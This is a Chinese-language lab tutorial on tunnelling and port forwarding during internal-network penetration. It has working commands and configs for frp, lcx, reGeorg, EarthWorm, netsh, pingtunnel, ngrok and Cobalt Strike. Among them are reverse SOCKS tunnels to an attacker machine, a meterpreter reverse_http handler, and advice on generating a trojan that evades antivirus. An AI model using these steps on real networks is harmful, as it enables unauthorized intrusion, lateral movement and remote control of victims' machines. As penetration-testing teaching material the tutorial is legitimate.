內網滲透-隧道代理轉發

竹等寒發表於2024-10-11

目錄
  • 前言
  • 環境搭建
  • 工具清單
  • 工具使用
    • Frp
      • 命令執行
      • 實驗
    • Lcx
      • 命令執行
      • 實驗
    • reGeorg
      • 命令執行
      • 實驗
      • Proxifier
    • ew(EarthWorm)
      • 正向代理
        • 命令執行
        • 實驗
      • 反向代理
        • 命令執行
        • 實驗
        • SocksCap
    • netsh
      • 命令執行
    • pingtunnel
      • 命令執行
      • 實驗
    • ngrok
      • 命令執行&&實驗
    • cs
      • 命令執行
      • 實驗

前言

本文章介紹內網滲透中本人常用的一些隧道代理轉發工具。

環境搭建

在這裡插入圖片描述
環境配置坑點:記得把內網網路卡的這個√取消掉,否則直接不同網段也能直接訪問到內網...
在這裡插入圖片描述

win10_hacker: 192.168.29.139
kali_hacker: 192.168.29.128
windows(目標伺服器): (192.168.29.130、10.0.0.3)
winserver2003: 10.0.0.112

注:雙網路卡的系統沒有固定用哪個,我這裡使用windows,是因為我找了好幾個靶機最後手頭上只有win10能執行,這裡也可以使用linux作為被控制機器,沒有所謂,注意frp要使用對應系統的版本即可。

工具清單

可轉發工具,這些是進行內網流量轉出的工具

Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs

可代理工具,這些是本地進行流量轉換的工具

Proxifier(windows)
SocksCap(windows)
cs(windows)
Proxychains(linux)#本文不做介紹

工具使用

註明:以下工具僅簡單介紹使用方法。

Frp

專案地址:https://github.com/fatedier/frp/

服務端:kali_hacker (192.168.29.128)
客戶端:windows(目標伺服器): (192.168.29.130、10.0.0.3)

將客戶端內網中10.0.0.112:80的流量轉到服務端的6000埠中。

命令執行

kali_hacker

vim frps.toml #自行修改埠號,不要與本機的埠號衝突即可
#執行命令
./frps -c frps.toml

windows

#frpc.toml配置檔案說明
serverAddr:服務端地址
serverPort:服務端配置檔案中bind繫結的埠
localIP:直接指定內網中你要轉的的ip即可
localPort:將localIP的哪個埠號流量轉出來
remotePort:將流量轉進服務端的哪個埠號
type:是表示你要進行什麼型別的流量轉發,一般是tcp和http(後面介紹http)
customDomains:表示當內網資訊轉過來的時候你希望以什麼域名訪問,這裡需要你修改hosts檔案,將ip和域名進行繫結。
#執行命令
.\frpc.exe -c frpc.toml

下面是常用的配置,配置了http、tcp(rdp,ssh)

serverAddr = "192.168.29.128"
serverPort = 7000

[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]

[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000

實驗

服務端執行
修改hosts檔案:對應客戶端設定的域名和ip
(ip就是這臺kali機器所以可以寫127.0.0.1)
在這裡插入圖片描述
在這裡插入圖片描述

客戶端執行
在這裡插入圖片描述

服務端訪問內網
在這裡插入圖片描述
同理6000埠是內網機器10.0.0.112的3389轉進來的流量
在這裡插入圖片描述

Lcx

專案地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91

windows_hacker:(192.168.29.139)
windows(目標伺服器): (192.168.29.130、10.0.0.3)

將windows內網中的10.0.0.112:3389流量轉到windows_hacker的2222埠上,然後windows_hacker本地將2222埠轉到4444埠上。

命令執行

windows_hacker

.\lcx.exe -listen 2222 4444

windows

.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389

實驗

windows_hacker執行
在這裡插入圖片描述
被控的windows主機執行
在這裡插入圖片描述
windows_hacker遠端桌面內網機器
在這裡插入圖片描述
在這裡插入圖片描述

reGeorg

專案地址:
https://github.com/sensepost/reGeorg

windows_hacker:(192.168.29.139)
windows (目標伺服器):(192.168.29.130、10.0.0.3)

用指令碼幫你將目標機器windows 上的內網資訊透過socks隧道轉到windows_hacker的9999埠上來。

命令執行

windows

將對應站點開發語言的指令碼傳到目標伺服器上,能訪問成功即可
(php開發的就傳php的指令碼,即:tunnel.nosocket.php)

windows_hacker

需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php

實驗

將檔案上傳到目標伺服器後,在hacker機器上能訪問成功即可
在這裡插入圖片描述
使用python2環境執行指令碼
在這裡插入圖片描述

Proxifier

現在就已經是成功轉出來了,只不過需要對轉出來的socks流量做一個轉換,轉換為本機可用的,因為我們知道內網有一個網站,需要轉成http流量進行訪問。
使用Proxifier進行一個本地流量轉換
1.新增代理伺服器
在這裡插入圖片描述
2.新增代理規則
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
3.localhost選擇你之前配置好的代理伺服器 127.0.0.1:9999
在這裡插入圖片描述
接著拿出你的瀏覽器訪問內網ip即可了,這樣就相當於將內網流量徹底轉到你的機器上面來,而不是說單獨哪一個埠轉出來,這裡隨心所欲逛內網了,bp抓包都沒問題。
4.訪問成功
在這裡插入圖片描述

ew(EarthWorm)

專案地址:該工具已下架,很遺憾,接下來就來懷念一下這個工具吧。
(這款工具殺軟基本過不了,規則已公開)

windows_hacker:(192.168.29.139)
windows(目標伺服器):(192.168.29.130、10.0.0.3)

正向代理

命令執行

windows_hacker: 用proxifier正向連線ip:埠
windows:ew.exe -s ssocksd -l 1080

實驗

目標伺服器windows
注意1080是轉出的埠,後面正向連線要用這個埠
在這裡插入圖片描述
windows_hacker:配置好目標ip+埠就能訪問了,這款工具很迅速
在這裡插入圖片描述

反向代理

命令執行

windows(目標伺服器): ew.exe -s rssocks -d 192.168.29.139 -e 888

windows_hacker: ew.exe -s rcsocks -l 1080 -e 888

意思是將目標伺服器的內網環境透過888埠轉出到hacker的888,然後hacker將888轉到1080埠

實驗

hacker機器先進行監聽,否則目標伺服器那邊會因流量轉不出執行出錯
在這裡插入圖片描述
接著目標伺服器執行\

在這裡插入圖片描述
就能看到hacker這邊有反應顯示成功了
在這裡插入圖片描述

SocksCap

上面用了很多proxifier,那這裡就用一下SocksCap
1.點選代理,右鍵新增代理
在這裡插入圖片描述
在這裡插入圖片描述
2.匯入程式的方式,自己選一個接受流量的程式,我們這裡是為了訪問內網的web服務就選擇瀏覽器訪問即可。
在這裡插入圖片描述
3.匯入後就能開啟訪問內網網址了
在這裡插入圖片描述

netsh

建議在目標伺服器上做本地埠轉發介面,個人覺得本地埠轉發效果最佳。

命令執行

目標伺服器:將內網的10.0.0.112:80轉到本地的880,最好用該機器對外的ip地址。

netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80

在這裡插入圖片描述

pingtunnel

這裡因為windows作為目標路由伺服器轉發內網流量的實驗失敗,所以改用linux。
(有成功的師傅可以留言給我看下是什麼問題,學習學習~)
在這裡插入圖片描述

命令執行

這裡嘗試轉發內網的3389埠流量出來即可,其他埠類似,這裡不管是服務端還是客戶端,在哪個系統執行都是一樣的引數,只不過我這裡服務端在windows上執行接收不到客戶端發來的請求,依賴也安裝了具體原因沒找到,還是失敗,所以只能用linux來做服務端。
(有師傅成功了可以留言告知一聲~)
server

./pingtunnel -type server

client

socks型別: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp型別: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp型別: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

這裡解釋一下客戶端命令的格式:

  • -type:代表是客戶端型別執行的
  • -l
    :前面省略了客戶端的ip則表示本地ip,表示本地迴環地址,然後:後面接埠號,需要使用127.0.0.1進行連線,而如果你指定客戶端的ip就需要用本機ip來進行連線
    (這裡應該是還可以轉發到其他ip上進行進一步利用的,這裡沒有嘗試,有師傅嘗試成功可以評論區留言教一下我。)
  • -s
    代表服務端的域名或者ip
  • -t
    代表服務端內網某一個機器的ip與要轉發出來的埠號流量

實驗

實驗這裡轉tcp流量出來,如果你要轉socks的話記得配合其它工具進行轉換,比如linux用proxychains,windows用proxifier或其他等等工具,具體情況具體分析。
服務端
在這裡插入圖片描述

客戶端
在這裡插入圖片描述

成功轉出內網server2003的3389流量
在這裡插入圖片描述

ngrok

這個ngrok是解決區域網的流量無法像公網那樣能訪問,但是這個內網機器需要本身能夠出網的才行,相當於你在家裡面的區域網流量不是每一個人都能訪問得到,假如你搭建了一臺機器但是想讓其他地區人也能訪問到不用買公網ip,這樣的話ngrok是不錯的選擇。
在內網滲透中用來解決內網機器流量無法直接訪問這類問題也是一種手段。

這裡隨便找一臺機器即可,這個機器需能訪問外網,但外網無法直接訪問他
windows: 192.168.29.130

命令執行&&實驗

1.先去官網註冊一個賬號:
https://dashboard.ngrok.com/
2.登入進去後,接著進入後下載對應系統版本的ngrok到目標機器上
3.把ngrok程式執行起來,如下圖所示
在這裡插入圖片描述
執行圖片
在這裡插入圖片描述
我這裡將80埠對映出來
在這裡插入圖片描述
如果沒有看到綠色建立成功的話,執行這條命令:ngrok http 80。因為可能你不是第一次弄,就需要這條命令,成功後你會看到如下圖所示的對映網址,直接訪問這個就行。
在這裡插入圖片描述
訪問網址後可能會是下圖這個樣子
在這裡插入圖片描述
你點選visit後就看到你對映出來的站點了,或者你對映的是其他流量就用其他方式直接連結這個地址即可。
下圖可以看到我訪問成功了內網中搭建的網站
在這裡插入圖片描述

ps:本人嘗試將3389埠流量對映出來當遠端連結,發現失敗了,具體原因沒找到,但測試後發現貌似只有將http這種網站對映出來效果最佳,所以要希望對映其他流量的話還是找其他工具進行實現最好。

cs

這裡很簡單,就是把木馬丟到目標伺服器上將shell轉過來即可,進行內網滲透最好還是在cs上線後將許可權轉到msf上進行後滲透操作效果最佳。

命令執行

提前說明:服務端選擇linux,客戶端選擇windows,你也可以自行選擇不同搭配,服務端和客戶端都有提供兩種選擇,我個人比較常用這種搭配。
服務端

安裝jdk,建議安裝jdk8(安裝方法自行百度)

./teamserver 服務端ip 連線密碼

客戶端

安裝jdk,建議安裝jdk8(安裝方法自行百度)
./cs.bat

ps: teamserver也有提供windows的teamserver.bat執行,同樣cs也有提供cs.sh執行。

實驗

服務端
在這裡插入圖片描述
客戶端
windows雙擊cs.bat檔案即可
在這裡插入圖片描述


1.接著客戶端這邊生成木馬
首先建立監聽器
在這裡插入圖片描述
如果沒有其他代理需求就按照下面配置即可(更多用法自行去百度)
在這裡插入圖片描述

選擇生成木馬後門
在這裡插入圖片描述
在這裡插入圖片描述
將木馬儲存在一個免殺目錄中,不要被殺軟殺掉即可
2.將木馬上傳在目標伺服器上執行即可,這裡做實驗就直接放虛擬機器雙擊了
在這裡插入圖片描述
回到客戶端看cs就發現有主機上線了,甚至能看到他的兩張網路卡,內外網ip
在這裡插入圖片描述
3.這裡最好是和msf聯動進行內網滲透效果最佳,所以這裡我選擇讓cs增加一個會話轉到msf中
先執行msfconsole開啟msf,並建立監聽器

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf監聽的ip)192.168.29.128
set lport (msf監聽的埠)4444

在這裡插入圖片描述

4.接著新增監聽器
在這裡插入圖片描述
在這裡插入圖片描述
5.右鍵增加會話
在這裡插入圖片描述
接著選擇剛剛新增的msf監聽器即可
在這裡插入圖片描述msf已經拿到shell了,後續就是看你玩msf玩的溜不溜就完事了。
在這裡插入圖片描述


本文介紹內網搭建隧道代理的一些工具,拿到內網環境後就可以進行後滲透工作了
(當然要遵守網路安全法,在授權範圍下進行)

相關文章